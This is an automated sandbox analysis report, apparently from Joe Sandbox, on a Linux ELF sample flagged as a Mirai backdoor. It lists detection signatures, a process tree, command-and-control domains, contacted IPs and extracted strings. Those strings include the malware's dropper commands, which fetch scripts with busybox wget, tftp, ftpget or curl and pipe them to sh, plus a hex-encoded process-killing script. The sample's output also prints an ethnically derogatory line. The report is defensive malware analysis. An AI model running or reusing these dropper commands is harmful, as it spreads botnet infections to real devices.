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Linux Analysis Report
jklspc.elf

Overview

General Information

Sample name:	jklspc.elf
Analysis ID:	1643390
MD5:	c597d72165d2a757c5eb64ff81887669
SHA1:	7b8caf7a925878d789ee80514937b75bea358448
SHA256:	7c2c26d6e87a96430ffc6d92626aaa6ebe483c7c897103c26493c8d42b1f2457
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643390
Start date and time:	2025-03-19 20:08:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	jklspc.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/261@28/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/jklspc.elf
PID:	5528
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

jklspc.elf (PID: 5528, Parent: 5442, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/jklspc.elf

jklspc.elf New Fork (PID: 5531, Parent: 5528)

jklspc.elf New Fork (PID: 5533, Parent: 5531)

jklspc.elf New Fork (PID: 5535, Parent: 5531)

jklspc.elf New Fork (PID: 5536, Parent: 5531)

dash New Fork (PID: 5544, Parent: 3670)

rm (PID: 5544, Parent: 3670, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.G5ckYTHKZY /tmp/tmp.1K2WvXre36 /tmp/tmp.cciFYzEUq6

dash New Fork (PID: 5545, Parent: 3670)

cat (PID: 5545, Parent: 3670, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.G5ckYTHKZY

dash New Fork (PID: 5546, Parent: 3670)

head (PID: 5546, Parent: 3670, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5547, Parent: 3670)

tr (PID: 5547, Parent: 3670, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5548, Parent: 3670)

cut (PID: 5548, Parent: 3670, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5549, Parent: 3670)

cat (PID: 5549, Parent: 3670, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.G5ckYTHKZY

dash New Fork (PID: 5550, Parent: 3670)

head (PID: 5550, Parent: 3670, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5551, Parent: 3670)

tr (PID: 5551, Parent: 3670, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5552, Parent: 3670)

cut (PID: 5552, Parent: 3670, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5553, Parent: 3670)

rm (PID: 5553, Parent: 3670, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.G5ckYTHKZY /tmp/tmp.1K2WvXre36 /tmp/tmp.cciFYzEUq6

cleanup

Joe Sandbox Signatures

• AV Detection
• Compliance
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: jklspc.elf	Virustotal: Detection: 40%			Perma Link
Source: jklspc.elf	ReversingLabs: Detection: 38%

Source: unknown

HTTPS traffic detected: 34.243.160.129:443 -> 192.168.2.15:36178 version: TLS 1.2

Source: jklspc.elf

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.15:39876 -> 104.248.47.182:1440
Source: global traffic	TCP traffic: 192.168.2.15:42368 -> 185.220.204.227:1440
Source: global traffic	TCP traffic: 192.168.2.15:41466 -> 45.147.251.145:1440

Source: /tmp/jklspc.elf (PID: 5528)

Socket: 127.0.0.1:39148

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 190.152.40.159
Source: unknown	TCP traffic detected without corresponding DNS query: 190.152.40.159
Source: unknown	TCP traffic detected without corresponding DNS query: 175.34.103.131
Source: unknown	TCP traffic detected without corresponding DNS query: 171.31.235.91
Source: unknown	TCP traffic detected without corresponding DNS query: 175.34.103.131
Source: unknown	TCP traffic detected without corresponding DNS query: 171.31.235.91
Source: unknown	TCP traffic detected without corresponding DNS query: 50.80.231.59
Source: unknown	TCP traffic detected without corresponding DNS query: 50.80.231.59
Source: unknown	TCP traffic detected without corresponding DNS query: 46.48.49.252
Source: unknown	TCP traffic detected without corresponding DNS query: 46.48.49.252
Source: unknown	TCP traffic detected without corresponding DNS query: 189.72.3.201
Source: unknown	TCP traffic detected without corresponding DNS query: 196.235.202.41
Source: unknown	TCP traffic detected without corresponding DNS query: 7.95.146.218
Source: unknown	TCP traffic detected without corresponding DNS query: 189.72.3.201
Source: unknown	TCP traffic detected without corresponding DNS query: 103.83.171.15
Source: unknown	TCP traffic detected without corresponding DNS query: 196.235.202.41
Source: unknown	TCP traffic detected without corresponding DNS query: 95.86.167.109
Source: unknown	TCP traffic detected without corresponding DNS query: 7.95.146.218
Source: unknown	TCP traffic detected without corresponding DNS query: 7.34.4.39
Source: unknown	TCP traffic detected without corresponding DNS query: 103.83.171.15
Source: unknown	TCP traffic detected without corresponding DNS query: 95.86.167.109
Source: unknown	TCP traffic detected without corresponding DNS query: 65.127.28.58
Source: unknown	TCP traffic detected without corresponding DNS query: 7.34.4.39
Source: unknown	TCP traffic detected without corresponding DNS query: 158.246.13.76
Source: unknown	TCP traffic detected without corresponding DNS query: 175.16.78.236
Source: unknown	TCP traffic detected without corresponding DNS query: 65.127.28.58
Source: unknown	TCP traffic detected without corresponding DNS query: 151.115.118.135
Source: unknown	TCP traffic detected without corresponding DNS query: 158.246.13.76
Source: unknown	TCP traffic detected without corresponding DNS query: 67.60.62.46
Source: unknown	TCP traffic detected without corresponding DNS query: 175.16.78.236
Source: unknown	TCP traffic detected without corresponding DNS query: 197.150.68.25
Source: unknown	TCP traffic detected without corresponding DNS query: 151.115.118.135
Source: unknown	TCP traffic detected without corresponding DNS query: 67.60.62.46
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.253.236
Source: unknown	TCP traffic detected without corresponding DNS query: 197.150.68.25
Source: unknown	TCP traffic detected without corresponding DNS query: 118.69.227.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.177.245
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.253.236
Source: unknown	TCP traffic detected without corresponding DNS query: 198.193.101.44
Source: unknown	TCP traffic detected without corresponding DNS query: 118.69.227.29
Source: unknown	TCP traffic detected without corresponding DNS query: 48.219.92.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.177.245
Source: unknown	TCP traffic detected without corresponding DNS query: 126.31.46.181
Source: unknown	TCP traffic detected without corresponding DNS query: 198.193.101.44
Source: unknown	TCP traffic detected without corresponding DNS query: 48.219.92.209
Source: unknown	TCP traffic detected without corresponding DNS query: 196.237.152.148
Source: unknown	TCP traffic detected without corresponding DNS query: 88.18.183.190
Source: unknown	TCP traffic detected without corresponding DNS query: 126.31.46.181
Source: unknown	TCP traffic detected without corresponding DNS query: 196.237.152.148
Source: unknown	TCP traffic detected without corresponding DNS query: 88.18.183.190

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: jklspc.elf	String found in binary or memory: http:///curl.sh
Source: jklspc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36178
Source: unknown	Network traffic detected: HTTP traffic on port 36178 -> 443

Source: unknown

HTTPS traffic detected: 34.243.160.129:443 -> 192.168.2.15:36178 version: TLS 1.2

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/261@28/0

Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5580/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5580/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5581/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5581/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5560/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5560/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5582/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5582/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5561/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5561/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5583/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5583/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5562/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5562/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5584/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5584/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5563/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5563/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5585/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5585/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5564/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5564/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5586/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5586/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5565/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5565/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5587/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5587/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5558/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5558/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5559/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5559/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5539/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5539/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5591/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5591/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5570/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5570/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5570/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5570/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5592/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5592/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5571/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5571/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5571/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5571/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5593/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5593/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5593/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5593/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5572/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5572/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5572/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5572/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5594/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5594/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5594/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5594/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5573/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5573/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5573/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5573/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5595/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5595/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5595/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5595/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5596/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5596/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5596/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5596/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5597/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5597/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5597/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5597/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5590/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5590/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5544/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5544/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5566/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5566/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5588/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5588/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5567/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5567/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5589/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5589/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5568/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5568/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5568/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5568/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5569/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5569/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5569/maps	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5535)	File opened: /proc/5569/cmdline	Jump to behavior
Source: /tmp/jklspc.elf (PID: 5528)	File opened: /proc/110/comm	Jump to behavior

Source: /usr/bin/dash (PID: 5544)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.G5ckYTHKZY /tmp/tmp.1K2WvXre36 /tmp/tmp.cciFYzEUq6			Jump to behavior
Source: /usr/bin/dash (PID: 5553)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.G5ckYTHKZY /tmp/tmp.1K2WvXre36 /tmp/tmp.cciFYzEUq6			Jump to behavior

Source: /tmp/jklspc.elf (PID: 5528)

Queries kernel information via 'uname':

Jump to behavior

Source: jklspc.elf, 5528.1.000055e1af2a7000.000055e1af32c000.rw-.sdmp, jklspc.elf, 5533.1.000055e1af2a7000.000055e1af32c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: jklspc.elf, 5528.1.000055e1af2a7000.000055e1af32c000.rw-.sdmp, jklspc.elf, 5533.1.000055e1af2a7000.000055e1af32c000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: jklspc.elf, 5528.1.00007ffd5714e000.00007ffd5716f000.rw-.sdmp, jklspc.elf, 5533.1.00007ffd5714e000.00007ffd5716f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc
Source: jklspc.elf, 5528.1.00007ffd5714e000.00007ffd5716f000.rw-.sdmp, jklspc.elf, 5533.1.00007ffd5714e000.00007ffd5716f000.rw-.sdmp	Binary or memory string: <x86_64/usr/bin/qemu-sparc/tmp/jklspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklspc.elf

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
jklspc.elf	41%	Virustotal		Browse
jklspc.elf	39%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Reputation
watchmepull.dyn	185.220.204.227	true	false	high
ohlookthereismyboats.geek	185.220.204.227	true	false	high
watchmepull.dyn. [malformed]	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	jklspc.elf	false		high
http:///curl.sh	jklspc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
101.217.88.74	unknown	India	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
200.133.204.138	unknown	Brazil	1916	AssociacaoRedeNacionaldeEnsinoePesquisaBR	false
164.183.197.28	unknown	United States	37717	EL-KhawarizmiTN	false
14.249.57.27	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
132.121.107.86	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
1.150.229.213	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
129.121.147.105	unknown	United States	62729	ASMALLORANGE1US	false
186.39.62.43	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
74.12.122.211	unknown	Canada	577	BACOMCA	false
174.220.167.125	unknown	United States	22394	CELLCOUS	false
175.133.97.65	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
108.209.29.40	unknown	United States	7018	ATT-INTERNET4US	false
34.32.88.80	unknown	United States	2686	ATGS-MMD-ASUS	false
72.98.54.206	unknown	United States	22394	CELLCOUS	false
96.16.0.162	unknown	United States	16625	AKAMAI-ASUS	false
56.177.161.28	unknown	United States	2686	ATGS-MMD-ASUS	false
193.87.73.85	unknown	Slovakia (SLOVAK Republic)	2607	SANETSlovakAcademicNetworkSK	false
46.8.80.177	unknown	Russian Federation	47193	LAN-OPTICRU	false
198.49.252.252	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
56.255.17.10	unknown	United States	2686	ATGS-MMD-ASUS	false
148.79.127.84	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
217.11.14.38	unknown	Italy	15668	CEDACRIOVESTIT	false
21.22.40.202	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
28.172.42.59	unknown	United States	7922	COMCAST-7922US	false
109.123.27.136	unknown	Slovenia	58056	KRS-NET-ASSI	false
76.122.160.113	unknown	United States	7922	COMCAST-7922US	false
122.36.19.64	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
110.167.155.205	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
15.134.104.101	unknown	United States	71	HP-INTERNET-ASUS	false
41.127.73.175	unknown	South Africa	16637	MTNNS-ASZA	false
53.65.54.152	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
56.98.108.54	unknown	United States	2686	ATGS-MMD-ASUS	false
2.176.215.41	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
70.80.231.128	unknown	Canada	5769	VIDEOTRONCA	false
147.218.20.15	unknown	United States	1498	DNIC-ASBLK-01498-01499US	false
134.1.155.248	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
24.139.235.6	unknown	United States	14638	LCPRLUS	false
140.154.8.18	unknown	United States	1580	DNIC-ASBLK-01550-01601US	false
70.66.252.62	unknown	Canada	6327	SHAWCA	false
169.21.73.168	unknown	United States	37611	AfrihostZA	false
